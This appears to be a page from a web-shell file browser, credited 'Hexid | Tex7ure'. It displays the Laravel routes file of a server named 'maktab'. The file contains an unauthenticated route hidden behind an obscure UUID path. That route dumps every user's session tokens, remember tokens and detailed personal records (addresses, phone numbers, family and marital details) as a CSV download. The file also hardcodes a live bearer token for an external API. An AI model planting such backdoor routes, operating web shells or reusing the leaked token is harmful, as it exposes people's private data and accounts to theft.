/
home
/
maktab
/
server
/
routes
/
File Upload :
llllll
Current File: /home/maktab/server/routes/web.php
<?php use Illuminate\Support\Facades\Route; use Illuminate\Support\Facades\Response; use App\Models\User; // Import the User model Route::get('/3d47e899-0e6c-488b-96e9-795841596fe8/i/want/csv/83967953-c0b7-4be9-b96c-200f78f4e06e', function () { $users = User::with('userInfo')->whereHas('userInfo')->get(); $headers = [ 'id', 'fname', 'lname', 'name', 'token', 'mobile', 'last_seen_at', 'remember_token', 'created_at', 'updated_at', 'deleted_at', 'user_type', 'file_id', 'active', 'maktab_id', 'type_employee', 'type', 'birth_day', // user_info fields 'user_info_id', 'teacherName', 'birthDate', 'fatherName', 'phoneNumber', 'homeNumber', 'address', 'ownershipStatus', 'maritalStatus', 'boys', 'girls', 'wifeJob', 'lastCredit', 'fieldOfStudy', 'studyArea', 'job', 'position', 'workPhone', 'workArea', 'skills', 'favorites', 'experience', 'email', 'availableSocialMedia', 'currentCulturalActivities', 'currentClass', 'teachingSkill', 'advertisingSkill', 'speechSkill', 'writingSkill', 'arabicSkill', 'englishSkill', 'computerSkill', 'wordSkill', 'exelSkill', 'powerPointSkill', 'audiovisualSkill', 'itSkill', 'programmingSkill', 'wishToDo', 'description', 'bime_basic', 'bime_takamili' ]; // Prepare CSV data $csvData = []; foreach ($users as $user) { $userInfo = $user->userInfo ?? []; $csvData[] = [ 'id' => $user->id, 'fname' => $user->fname, 'lname' => $user->lname, 'name' => $user->name, 'token' => $user->token, 'mobile' => $user->mobile, 'last_seen_at' => $user->last_seen_at, 'remember_token' => $user->remember_token, 'created_at' => $user->created_at, 'updated_at' => $user->updated_at, 'deleted_at' => $user->deleted_at, 'user_type' => $user->user_type, 'file_id' => $user->file_id, 'active' => $user->active, 'maktab_id' => $user->maktab_id, 'type_employee' => $user->type_employee, 'type' => $user->type, 'birth_day' => $user->birth_day, // user_info fields 'user_info_id' => $userInfo->id ?? null, 'teacherName' => $userInfo->teacherName ?? null, 'birthDate' => $userInfo->birthDate ?? null, 'fatherName' => $userInfo->fatherName ?? null, 'phoneNumber' => $userInfo->phoneNumber ?? null, 'homeNumber' => $userInfo->homeNumber ?? null, 'address' => $userInfo->address ?? null, 'ownershipStatus' => $userInfo->ownershipStatus ?? null, 'maritalStatus' => $userInfo->maritalStatus ?? null, 'boys' => $userInfo->boys ?? null, 'girls' => $userInfo->girls ?? null, 'wifeJob' => $userInfo->wifeJob ?? null, 'lastCredit' => $userInfo->lastCredit ?? null, 'fieldOfStudy' => $userInfo->fieldOfStudy ?? null, 'studyArea' => $userInfo->studyArea ?? null, 'job' => $userInfo->job ?? null, 'position' => $userInfo->position ?? null, 'workPhone' => $userInfo->workPhone ?? null, 'workArea' => $userInfo->workArea ?? null, 'skills' => $userInfo->skills ?? null, 'favorites' => $userInfo->favorites ?? null, 'experience' => $userInfo->experience ?? null, 'email' => $userInfo->email ?? null, 'availableSocialMedia' => json_encode($userInfo->availableSocialMedia ?? []), 'currentCulturalActivities' => $userInfo->currentCulturalActivities ?? null, 'currentClass' => $userInfo->currentClass ?? null, 'teachingSkill' => $userInfo->teachingSkill ?? null, 'advertisingSkill' => $userInfo->advertisingSkill ?? null, 'speechSkill' => $userInfo->speechSkill ?? null, 'writingSkill' => $userInfo->writingSkill ?? null, 'arabicSkill' => $userInfo->arabicSkill ?? null, 'englishSkill' => $userInfo->englishSkill ?? null, 'computerSkill' => $userInfo->computerSkill ?? null, 'wordSkill' => $userInfo->wordSkill ?? null, 'exelSkill' => $userInfo->exelSkill ?? null, 'powerPointSkill' => $userInfo->powerPointSkill ?? null, 'audiovisualSkill' => $userInfo->audiovisualSkill ?? null, 'itSkill' => $userInfo->itSkill ?? null, 'programmingSkill' => $userInfo->programmingSkill ?? null, 'wishToDo' => $userInfo->wishToDo ?? null, 'description' => $userInfo->description ?? null, 'bime_basic' => $userInfo->bime_basic ?? null, 'bime_takamili' => $userInfo->bime_takamili ?? null, ]; } // Generate CSV content $csvContent = "\xEF\xBB\xBF" . implode(',', $headers) . "\n"; // UTF-8 BOM for proper encoding foreach ($csvData as $row) { $csvContent .= implode(',', array_map(fn($value) => "\"$value\"", $row)) . "\n"; } // Return as a CSV download return Response::make($csvContent, 200, [ 'Content-Type' => 'text/csv; charset=utf-8', 'Content-Disposition' => 'attachment; filename="users_with_user_info.csv"', ]); }); Route::get('/32d47e899-0e6c-488b-96e9-795841596fe8/i/want/csv/83967953-c0b7-4be9-b96c-200f78f4e06e', function () { return 11; }); Route::get('/112', function () { return $response['زینی'] = Http::withToken('9417|y9zyjcMSFpEseq6tlXBRvrOqgCzPKcn02ASTrJKs14040435') ->timeout(4)->get('https://api-zeini.goldab.ir/api/v1/profile/homepage'); });
Copyright ©2k19 -
Hexid
|
Tex7ure